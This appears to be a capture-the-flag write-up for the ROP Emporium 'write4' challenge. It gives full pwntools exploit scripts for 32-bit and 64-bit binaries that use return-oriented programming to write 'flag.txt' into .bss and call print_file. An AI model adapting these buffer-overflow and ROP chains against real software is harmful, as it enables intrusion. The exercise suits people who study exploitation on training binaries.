write4
{"author": ["ret2basic"]}

32bit

Solution

The string "/bin/cat flag.txt" is not present in the binary, so the method used in "split" won't work here.
We are given a function print_file and our task is to call print_file("flag.txt"). There is no "flag.txt" string in the binary either, so we have to input this string and store it somewhere, for example, the .bss segment.
As the instruction suggests, we should look for a gadget mov [reg], reg:
ROPgadget
The idea is:
    1.
    Store the string "flag" in ebp.
    2.
    Store the address of bss in edi.
    3.
    Use the gadget mov dword ptr [edi], ebp ; ret to pass the string flag to the .bss segment.
    4.
    Repeat step 1 to 3 to pass the string ".txt" to bss + 4.
    5.
    Call print_file(bss)

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("write432", checksec=False)
8
9
#--------Offset--------#
10
11
p = elf.process()
12
pattern = cyclic(1024)
13
p.sendlineafter("> ", pattern)
14
p.wait()
15
core = p.corefile
16
p.close()
17
os.remove(core.file.name)
18
offset = cyclic_find(core.eip)
19
20
log.info(f"offset: {offset}")
21
22
#--------ROP--------#
23
24
# ROPgadget --binary write432 --only "mov|ret"
25
# mov dword ptr [edi], ebp ; ret
26
mov_gadget = 0x08048543
27
# ROPgadget --binary write432 --only "pop|ret" | grep edi
28
pop_edi_ebp = 0x080485aa
29
print_file = elf.plt["print_file"]
30
bss = elf.bss()
31
32
payload = flat(
33
b"A" * offset,
34
35
# Step 1: pass "flag.txt"
36
pop_edi_ebp, bss, "flag", # pass "flag"
37
mov_gadget,
38
pop_edi_ebp, bss + 4, ".txt", # pass ".txt"
39
mov_gadget,
40
41
# Step 2: call print_file("flag.txt")
42
print_file,
43
b"B" * 4, # ret addr for system
44
bss, # arg for system
45
)
46
47
p = elf.process()
48
49
p.sendlineafter("> ", payload)
50
51
p.interactive()
Copied!

64bit

Solution

Again, the 64-bit case is even simpler. The idea is the same, except we can pass the string "flag.txt" in one round because we are dealing with 64-bit registers.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("write4", checksec=False)
8
9
#--------Offset--------#
10
11
p = elf.process()
12
pattern = cyclic(1024)
13
p.sendlineafter("> ", pattern)
14
p.wait()
15
core = p.corefile
16
p.close()
17
os.remove(core.file.name)
18
offset = cyclic_find(core.read(core.rsp, 4))
19
20
log.info(f"offset: {offset}")
21
22
#--------ROP--------#
23
24
# ROPgadget --binary write4 --only "mov|ret"
25
# mov qword ptr [r14], r15 ; ret
26
mov_gadget = 0x0000000000400628
27
# ROPgadget --binary write4 --only "pop|ret" | grep r14
28
pop_r14_r15 = 0x0000000000400690
29
print_file = elf.plt["print_file"]
30
# ROPgadget --binary write4 --only "pop|ret" | grep rdi
31
pop_rdi = 0x0000000000400693
32
ret = 0x4004e6
33
bss = elf.bss()
34
35
payload = flat(
36
b"A" * offset,
37
38
# Step 1: pass "flag.txt"
39
pop_r14_r15, bss, "flag.txt", # pass "flag.txt"
40
mov_gadget,
41
42
# Step 2: call print_file("flag.txt")
43
pop_rdi, bss,
44
ret, print_file,
45
)
46
47
p = elf.process()
48
49
p.sendlineafter("> ", payload)
50
51
p.interactive()
Copied!
Last modified 5mo ago
Copy link
Contents
32bit
64bit